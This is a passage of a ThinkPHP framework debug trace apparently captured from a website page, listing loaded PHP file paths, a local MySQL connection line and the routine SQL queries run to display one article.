  128. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/Collection.php ( 16.47 KB )
  129. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/facade/View.php ( 1.70 KB )
  130. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/View.php ( 4.39 KB )
  131. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Response.php ( 8.81 KB )
  132. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/response/View.php ( 3.29 KB )
  133. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Cookie.php ( 6.06 KB )
  134. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-view/src/Think.php ( 8.38 KB )
  135. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/contract/TemplateHandlerInterface.php ( 1.60 KB )
  136. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-template/src/Template.php ( 46.61 KB )
  137. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-template/src/template/driver/File.php ( 2.41 KB )
  138. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-template/src/template/contract/DriverInterface.php ( 0.86 KB )
  139. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/runtime/temp/067d451b9a0c665040f3f1bdd3293d68.php ( 11.98 KB )
  140. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-trace/src/Html.php ( 4.42 KB )
  1. CONNECT:[ UseTime:0.001099s ] mysql:host=127.0.0.1;port=3306;dbname=f_mffb;charset=utf8mb4
  2. SHOW FULL COLUMNS FROM `fenlei` [ RunTime:0.001621s ]
  3. SELECT * FROM `fenlei` WHERE `fid` = 0 [ RunTime:0.000670s ]
  4. SELECT * FROM `fenlei` WHERE `fid` = 63 [ RunTime:0.004285s ]
  5. SHOW FULL COLUMNS FROM `set` [ RunTime:0.001423s ]
  6. SELECT * FROM `set` [ RunTime:0.003341s ]
  7. SHOW FULL COLUMNS FROM `article` [ RunTime:0.001604s ]
  8. SELECT * FROM `article` WHERE `id` = 479478 LIMIT 1 [ RunTime:0.012251s ]
  9. UPDATE `article` SET `lasttime` = 1774587883 WHERE `id` = 479478 [ RunTime:0.001388s ]
  10. SELECT * FROM `fenlei` WHERE `id` = 64 LIMIT 1 [ RunTime:0.001038s ]
  11. SELECT * FROM `article` WHERE `id` < 479478 ORDER BY `id` DESC LIMIT 1 [ RunTime:0.003658s ]
  12. SELECT * FROM `article` WHERE `id` > 479478 ORDER BY `id` ASC LIMIT 1 [ RunTime:0.025757s ]
  13. SELECT * FROM `article` WHERE `id` < 479478 ORDER BY `id` DESC LIMIT 10 [ RunTime:0.047674s ]
  14. SELECT * FROM `article` WHERE `id` < 479478 ORDER BY `id` DESC LIMIT 10,10 [ RunTime:0.054456s ]
  15. SELECT * FROM `article` WHERE `id` < 479478 ORDER BY `id` DESC LIMIT 20,10 [ RunTime:0.045658s ]
0.363087s